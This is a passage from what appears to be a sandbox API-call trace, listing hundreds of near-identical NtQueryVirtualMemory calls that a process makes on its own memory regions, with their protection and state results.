ProcessHandle=0xffffffff, Address=0x102000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x102000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x103000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x103000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x89000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x104000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x104000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x88000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x105000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x105000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x87000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x106000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x106000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x86000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x107000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x107000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x85000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x108000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x108000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x84000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7c8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7c8000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc9000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7c9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7c9000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc8000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ca000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ca000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc7000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7cb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7cb000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc6000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7cc000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7cd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7cd000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc4000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ce000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc3000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7cf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7cf000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc2000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d0000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc1000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d1000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc0000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d2000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xbf000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d3000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xbe000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d4000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xbd000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d5000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xbc000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d6000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xbb000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d7000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xba000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d8000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb9000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.522] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d9000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb8000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.522] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7da000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7da000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb7000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7db000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7db000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb6000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7dc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7dc000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb5000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7dd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7dd000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb4000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7de000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7de000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb3000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7df000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7df000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb2000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e0000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb1000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e1000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb0000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.523] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e2000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xaf000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e3000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xae000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e4000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xad000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e5000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xac000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e6000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xab000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e7000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xaa000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e8000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa9000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e9000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa8000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ea000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ea000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa7000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7eb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7eb000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa6000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ec000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa5000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ed000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ed000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa4000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ee000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ee000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa3000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ef000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ef000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa2000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f0000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa1000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f1000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa0000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f2000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x9f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f3000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x9e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f4000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x9d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f5000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x9c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f6000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x9b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f7000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x9a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f8000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x99000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f9000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x98000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.526] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7fa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7fa000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x97000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7fb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7fb000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x96000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7fc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7fc000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x95000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7fd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7fd000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x94000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7fe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7fe000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x93000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7ff000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7ff000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x92000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x800000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x800000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x91000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x801000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x801000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x90000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x802000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x802000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x8f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.527] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x803000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x803000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x8e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x804000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x804000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x8d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x805000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x805000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x8c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x806000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x806000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x8b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x807000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x807000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x8a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x808000, 